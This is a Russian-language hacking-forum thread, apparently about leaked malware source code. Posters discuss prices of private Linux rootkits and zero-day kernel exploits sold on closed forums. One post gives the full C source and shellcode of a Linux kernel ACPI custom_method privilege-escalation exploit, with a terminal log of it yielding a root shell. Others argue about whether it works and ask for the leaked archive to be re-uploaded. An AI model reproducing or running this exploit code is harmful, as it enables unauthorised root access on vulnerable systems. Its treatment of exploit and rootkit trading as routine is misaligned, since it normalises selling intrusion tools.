кто-то недавно говорил мне что сорцы не должны лежать, хотябы когда они устаревают - должны попадать в сеть, на растерзание одептам, и всё такое. хотя вот тут даже фиг знает: для "профи" - там искать нечего, а для новичка там ничего не будет понятно, зато все сейчас дружно посмеются над срывом покровов, а моддингом и тюнингом этого монстра никто заниматься не станет. или станет лишь тот, кто не осилит даже компилер настроить. наверное и к лучшему - это "зевс-зевсушка" кругом уже поднадоело, будет меньше этой болтовни, да и энтузиасты наклепают новое золотое руно, свято место пусто не бывает. такие же ощущения навеяло при первом прочтении)
>>К примеру, какова примерная стоимость руткита(не паблик), для linux систем (функционирующий только в ядре). С такими возможностями. Инъекция данных в вывод http сервера (сжатые страницы, с поддержкой чанков). Сниффер(с автоматическим сбором паролей, и заносом их в БД). Бекконнект, скрытие процессов, файлов.Выполнение команд. Поддержка резервных серверов. - эти все функции реализованны и паблик руткитах ; отличие таргетед от паблик в связках сплоетов и технике сокрытия (инжект или LKM). к примеру недавно попадался мне сэмпл одного руткита в котором реализованно 4 зеродей сплоета (из них только один паблик сплоет уровня ядра.: Linux Kernel < 2.6.37-rc2 ACPI custom_method Privilege Escalation. Связка выполнена на высоком уровнем, о чем говорит например вот этот сплоет Linux Kernel < 2.6.38-rc pkt_rd Remote Kernel Memory Disclosure ). Цена на закрытых китайских форумах только одного такого сплойта колеблется от 15к-22к $. Поэтому тут сложно сказать сколько будет стоить ваш руткит, ибо сборка осуществляется исходя из ваших предпочтений. >>хотя вот тут даже фиг знает: для "профи" - там искать нечего, а для новичка там ничего не будет понятно, зато все сейчас дружно посмеются над срывом покровов, а моддингом и тюнингом этого монстра никто заниматься не станет. или станет лишь тот, кто не осилит даже компилер настроить. - +1
Satsura +100500 в карму за исходники. Не то что все остальные, у которых они были, и они тупо их жали.
>>Это наверно китайский вариант cve-2010-3437 aka Linux Kernel < 2.6.36-rc6 pktcdvd Kernel Memory Disclosure - наверное , наверное... тебе ж виднее (;
>>вот этот паблик Linux Kernel < 2.6.37-rc2 ACPI custom_method Privilege Escalation работает только на ноутах, что опять же говорит о высоком уровне связки для взлома серверов. $ uname -a Linux void 2.6.37-generic #Slackware SMP D:m:t:Y :p i686 GNU/Linux uid=1000(x_h4ck) gid=1000(x_h4ck) группы=4(adm),20(dialout),24(cdrom),46(plugdev),105(lpadmin),119(admin),126(sambashare),1000(x_h4ck) $ gcc platforms/linux/local/15774.c -o ~/15774 $ ~/15774 [+] resolving required symbols... [+] checking for world-writable custom_method... [+] checking for an ACPI LID device... [+] poisoning ACPI tables via custom_method... [+] triggering ACPI payload via LID device... [+] triggering exploit via futimesat... [+] launching root shell! # id uid=0(root) gid=0(root) groups=0(root) зы.: не ноутбук. (; у кого не ноут прошу проверьте. (лежит на exploit-db)
Linux Kernel < 2.6.37-rc2 ACPI custom_method Privilege Escalation Код (Text): #include <stdio.h> #include <stdlib.h> #include <stdint.h> #include <string.h> #include <unistd.h> #include <errno.h> #include <fcntl.h> #include <limits.h> #include <inttypes.h> #include <sys/types.h> #include <sys/stat.h> #include <sys/utsname.h> /* * The ASL payload looks like: * * DefinitionBlock ("lid.aml", "SSDT", 2, "", "", 0x00001001) { * Method (\_SB.LID._LID, 0, NotSerialized) { * OperationRegion (KMEM, SystemMemory, PHYADDR, 0x392) * Field(KMEM, AnyAcc, NoLock, Preserve) { * HACK, 0x392 * } * Store (Buffer () { * 0x55, 0x48, 0x89, 0xe5, 0x53, 0x48, 0x83, 0xec, * 0x08, 0x48, 0xc7, 0xc3, 0x24, 0x24, 0x24, 0x24, * 0x48, 0xc7, 0xc0, 0x24, 0x24, 0x24, 0x24, 0xbf, * 0x00, 0x00, 0x00, 0x00, 0xff, 0xd0, 0x48, 0x89, * 0xc7, 0xff, 0xd3, 0x48, 0xc7, 0xc0, 0xb7, 0xff, * 0xff, 0xff, 0x48, 0x83, 0xc4, 0x08, 0x5b, 0xc9, * 0xc3 }, HACK) * Return (One) * } * } * * Feel free to `iasl -d` this is you don't trust me! ;-) */ #define PAYLOAD_AML \ "\x53\x53\x44\x54\x90\x00\x00\x00\x02\x3e\x00\x00\x00\x00\x00\x00" \ "\x00\x00\x00\x00\x00\x00\x00\x00\x01\x10\x00\x00\x49\x4e\x54\x4c" \ "\x21\x05\x09\x20\x14\x4b\x06\x5c\x2f\x03\x5f\x53\x42\x5f\x4c\x49" \ "\x44\x5f\x5f\x4c\x49\x44\x00\x5b\x80\x4b\x4d\x45\x4d\x00\x0c\xe0" \ "\x61\x17\x01\x0b\x92\x03\x5b\x81\x0c\x4b\x4d\x45\x4d\x00\x48\x41" \ "\x43\x4b\x42\x39\x70\x11\x34\x0a\x31\x55\x48\x89\xe5\x53\x48\x83" \ "\xec\x08\x48\xc7\xc3\x24\x24\x24\x24\x48\xc7\xc0\x24\x24\x24\x24" \ "\xbf\x00\x00\x00\x00\xff\xd0\x48\x89\xc7\xff\xd3\x48\xc7\xc0\xb7" \ "\xff\xff\xff\x48\x83\xc4\x08\x5b\xc9\xc3\x48\x41\x43\x4b\xa4\x01" #define PAYLOAD_LEN 144 #define CUSTOM_METHOD "/sys/kernel/debug/acpi/custom_method" #define HEY_ITS_A_LID "/proc/acpi/button/lid/LID/state" unsigned long get_symbol(char *name) { FILE *f; unsigned long addr; char dummy; char sname[512]; struct utsname ver; int ret; int rep = 0; int oldstyle = 0; f = fopen("/proc/kallsyms", "r"); if (f == NULL) { f = fopen("/proc/ksyms", "r"); if (f == NULL) goto fallback; oldstyle = 1; } repeat: ret = 0; while(ret != EOF) { if (!oldstyle) ret = fscanf(f, "%p %c %s\n", (void **)&addr, &dummy, sname); else { ret = fscanf(f, "%p %s\n", (void **)&addr, sname); if (ret == 2) { char *p; if (strstr(sname, "_O/") || strstr(sname, "_S.")) continue; p = strrchr(sname, '_'); if (p > ((char *)sname + 5) && !strncmp(p - 3, "smp", 3)) { p = p - 4; while (p > (char *)sname && *(p - 1) == '_') p--; *p = '\0'; } } } if (ret == 0) { fscanf(f, "%s\n", sname); continue; } if (!strcmp(name, sname)) { fclose(f); return addr; } } fclose(f); if (rep) return 0; fallback: uname(&ver); if (strncmp(ver.release, "2.6", 3)) oldstyle = 1; sprintf(sname, "/boot/System.map-%s", ver.release); f = fopen(sname, "r"); if (f == NULL) return 0; rep = 1; goto repeat; } int main(int argc, char **argv) { int ret; FILE *fp; char buf[64]; struct stat sb; char payload[PAYLOAD_LEN] = PAYLOAD_AML; unsigned long sys_futimesat, prepare_kernel_cred, commit_creds; printf("[+] resolving required symbols...\n"); sys_futimesat = get_symbol("sys_futimesat"); if (!sys_futimesat) { printf("[-] sys_futimesat symbol not found, aborting!\n"); exit(1); } prepare_kernel_cred = get_symbol("prepare_kernel_cred"); if (!prepare_kernel_cred) { printf("[-] prepare_kernel_cred symbol not found, aborting!\n"); exit(1); } commit_creds = get_symbol("commit_creds"); if (!commit_creds) { printf("[-] commit_creds symbol not found, aborting!\n"); exit(1); } printf("[+] checking for world-writable custom_method...\n"); ret = stat(CUSTOM_METHOD, &sb); if (ret < 0) { printf("[-] custom_method not found, kernel is not vulnerable!\n"); exit(1); } if (!(sb.st_mode & S_IWOTH)) { printf("[-] custom_method not world-writable, kernel is not vulnerable!\n"); exit(1); } printf("[+] checking for an ACPI LID device...\n"); ret = stat(HEY_ITS_A_LID, &sb); if (ret < 0) { printf("[-] ACPI LID device not found, but kernel is still vulnerable!\n"); exit(1); } if (sizeof(sys_futimesat) != 8) { printf("[-] payload is 64-bit only, but kernel is still vulnerable!\n"); exit(1); } sys_futimesat &= ~0xffffffff80000000; memcpy(&payload[63], &sys_futimesat, 4); memcpy(&payload[101], &commit_creds, 4); memcpy(&payload[108], &prepare_kernel_cred, 4); printf("[+] poisoning ACPI tables via custom_method...\n"); fp = fopen(CUSTOM_METHOD, "w"); fwrite(payload, 1, sizeof(payload), fp); fclose(fp); printf("[+] triggering ACPI payload via LID device...\n"); fp = fopen(HEY_ITS_A_LID, "r"); fread(&buf, 1, sizeof(buf), fp); fclose(fp); printf("[+] triggering exploit via futimesat...\n"); ret = futimesat(0, "/tmp", NULL); if (ret != -1 || errno != EDOTDOT) { printf("[-] unexpected futimesat errno, exploit failed!\n"); exit(1); } if (getuid() != 0) { printf("[-] privileges not escalated, exploit failed!\n"); exit(1); } printf("[+] launching root shell!\n"); execl("/bin/sh", "/bin/sh", NULL); }
Ты бы это... не писал от руки? PS Заодно расскажи, откуда у тебя /proc/acpi/button/lid/LID/state на не ноуте.
Приветствую! Скиньте плизз куда нибудь еще архивчик?) Ато оч хочется полазить внутри ) А по первой ссылке не качает =\ "Сервис не доступен" пишет итд и вот такую непонятную конструкцию слов " Привышен лимит месте на хостинге ... Попробуйте позже. !" и не шевелится совсем =)
>>Satsura же лжет, приводя в пример ядро не х86_64 и показывая, будто спойлт отработал у него - отлично отработал на x86, тебе скрин скинуть ? (: ребята кто нить проверьте сплоет наконец на Kernel 2.6.37 x86 зы.: такое ощущение что у господина act'a личные счеты со мной. ну извени, что слил сорцы... извени что отнял у тебя твой последний хлеб, на который ты зарабатывал барыжничеством... (;
Бггг конечно же Сацура знал о релиз кандидатах (: ну давайте кто больше, кто меньше! Сольем же грязь на авторов и быдло сорцы (; 2 act проверка пройдена успешно на 50%. Продолжай в том же духе, сацура сливает и тру и фейк , а ты всем поясняешь, ок (; зы.: ждем неделю ровно, дальше все узнаете (;
JCronuz а ты что знаешь какой был пароль?)) лично устанавливал? ну вот ты и спалился кстати имя пользователя jam3s в проекте вижуал студии, это твой второй ник?
What archive (архиве)? IOO's archive (http://csis.dk/en/csis/blog/3176/) still hasn't been cracked. Can you guys understand the comments in the source?